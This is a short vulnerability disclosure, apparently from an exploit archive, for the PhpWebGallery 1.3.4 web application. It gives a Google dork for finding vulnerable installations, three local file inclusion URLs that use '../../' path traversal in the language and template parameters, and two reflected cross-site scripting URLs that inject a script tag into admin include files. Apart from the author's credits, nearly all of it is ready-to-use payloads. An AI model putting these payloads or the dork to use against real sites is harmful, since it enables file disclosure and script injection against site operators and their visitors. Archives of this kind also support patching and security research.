----------------------------------------------------------------
 
Script : PhpWebGallery 1.3.4
 
Type : Multiple Vulnerabilities (XSS/LFI)
 
Rist : High
 
Google Dork : inurl:"picture.php?cat=" "Powered by PhpWebGallery 1.3.4"
 
----------------------------------------------------------------
 
Download From : http://puzzle.dl.sourceforge.net/sourceforge/phpwebgallery/phpwebgallery-1.3.4.tar.bz2
 
----------------------------------------------------------------
 
Discovered by : Khashayar Fereidani Or Dr.Crash
 
My Official Website : HTTP://FEREIDANI.IR
 
Team Website : Http://IRCRASH.COM
 
Khashayar Fereidani Email : irancrash [ a t ] gmail [ d o t ] com
 
----------------------------------------------------------------
 
Local File Inclusion Vulnerabilities :
 
Lfi 1 : http://example/include/init.inc.php?user[language]=../../[LFI]
 
Lfi 2 : http://example/include/init.inc.php?user[template]=../../[LFI]
 
Lfi 3 : http://example/include/isadmin.inc.php?user[language]=../../[LFI]
 
-----------------------------------------------------------------
 
Cross Site Scripting Vulnerabilities :
 
Xss 1 : http://example/admin/include/isadmin.inc.php?lang[access_forbiden]=<script>alert(123);</script>
 
Xss 2 : http://example/admin/include/isadmin.inc.php?lang[ident_title]=<script>alert(123);</script>
 
----------------------------------------------------------------
 
                        Tnx : God
 
          HTTP://IRCRASH.COM HTTP://FEREIDANI.IR
 
----------------------------------------------------------------

http://www.exploit-db.com/exploits/6425/

http://securityreason.com/securityalert/4419